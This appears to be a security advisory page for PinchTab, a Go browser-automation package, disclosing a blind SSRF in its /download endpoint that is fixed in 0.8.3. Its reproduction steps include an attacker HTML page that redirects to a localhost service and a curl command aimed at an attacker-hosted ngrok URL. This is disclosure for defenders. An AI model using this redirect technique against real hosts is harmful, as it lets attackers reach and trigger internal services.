GHSA-qwxp-6qf9-wr4m

Source

https://github.com/advisories/GHSA-qwxp-6qf9-wr4m

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-qwxp-6qf9-wr4m/GHSA-qwxp-6qf9-wr4m.json

JSON Data

https://api.test.osv.dev/v1/vulns/GHSA-qwxp-6qf9-wr4m

Aliases

Published

2026-03-18T16:34:00Z

Modified

2026-03-23T18:56:19Z

Severity

5.8 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N CVSS Calculator

Summary

PinchTab has a Blind SSRF via browser-side redirect bypass in /download URL validation

Details

The /download endpoint validates only the initial URL provided by the user using validateDownloadURL() to prevent requests to internal or private network addresses.

Exploitation requires \security.allowDownload=true, which is disabled by default.

However, pages loaded by the embedded Chromium browser can trigger additional browser-side requests (for example, JavaScript redirects, navigations, or resource requests) after the initial validation step.

Because the validation is only applied to the initial URL and not to subsequent browser-issued request targets, an attacker-controlled page can cause the browser to issue requests to internal network services reachable from the PinchTab host.

This results in a blind Server-Side Request Forgery (SSRF) condition in which internal-only services may be accessed and state-changing endpoints may be triggered without returning the response body to the attacker.

Steps to Reproduce:

Environment Setup Target: PinchTab server (tested on v0.8.x, v0.7.x) Attacker-controlled server: Publicly accessible (e.g., via ngrok) attacker.py Internal service: Runs on the same host as PinchTab and is not externally accessible internal_service.py

1. Start a Local Internal Service (Victim Side)

Run a simple HTTP service bound to localhost: internal_service.py

python internal_service.py

#Example behavior of internal_service.py:
#Listens on 127.0.0.1:1337
#Exposes endpoint /increment
#Increments a counter and logs requests

#Expected output when accessed:
#COUNTER INCREMENTED: 1
#COUNTER INCREMENTED: 2

2. Host an Attacker-Controlled Page (Attacker side)

Deploy a malicious HTML page that redirects to the internal service: attacker.py

<html>
<body>
<script>
setTimeout(function(){
    window.location = "http://127.0.0.1:1337/increment";
}, 1500);
</script>
</body>
</html>

Host this page on a publicly accessible server (e.g., using ngrok): https://fcb8-180-149-93-3.ngrok-free.app

3. Trigger the Vulnerable Endpoint (Attacker side)

Send a request to the PinchTab /download endpoint:

curl "http://[server-ip]:9867/download?url=https://fcb8-180-149-93-3.ngrok-free.app"

If a server token is configured, the request must include valid authentication.

4. Observe Server-Side Request to Localhost

When PinchTab processes the request:

It launches a headless Chromium instance
The browser loads the attacker-controlled page
JavaScript executes within the browser
The browser redirects to: http://127.0.0.1:1337/increment

5. Verify the Impact

Check the output of internal_service.py: proof

COUNTER INCREMENTED: 1 proof_incremented

This confirms that the request originated from the PinchTab host and that an attacker can successfully access localhost-only internal services via the browser, despite the initial URL validation.

Impact

This vulnerability allows an attacker to bypass the /download URL validation and cause the embedded Chromium browser to make requests to internal network services. By hosting a page that performs a redirect after the initial validation, an attacker can force the browser to access resources such as 127.0.0.1 or other private network addresses reachable from the PinchTab host.

Although the response is not returned to the attacker (blind SSRF), this behavior can still be used to interact with internal services and trigger state-changing endpoints. In environments where sensitive services or cloud metadata endpoints are accessible from the host, this could lead to more serious security impact.

Mitigation

Apply the same URL safety policy to every browser-issued request in the /download flow, not only the initial user-supplied URL, and block requests to loopback, private, link-local, and other non-public network ranges inside the Chromium browser context.

Database specific

{
    "cwe_ids":  [
        "CWE-918"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-03-18T16:34:00Z",
    "nvd_published_at":  "2026-03-20T10:16:18Z",
    "severity":  "MODERATE"
}

References

Affected packages

Go / github.com/pinchtab/pinchtab

Package

Name: github.com/pinchtab/pinchtab; View open source insights on deps.dev
Purl: pkg:golang/github.com/pinchtab/pinchtab

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

0.8.3

Database specific

last_known_affected_version_range

"<= 0.8.2"

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-qwxp-6qf9-wr4m/GHSA-qwxp-6qf9-wr4m.json"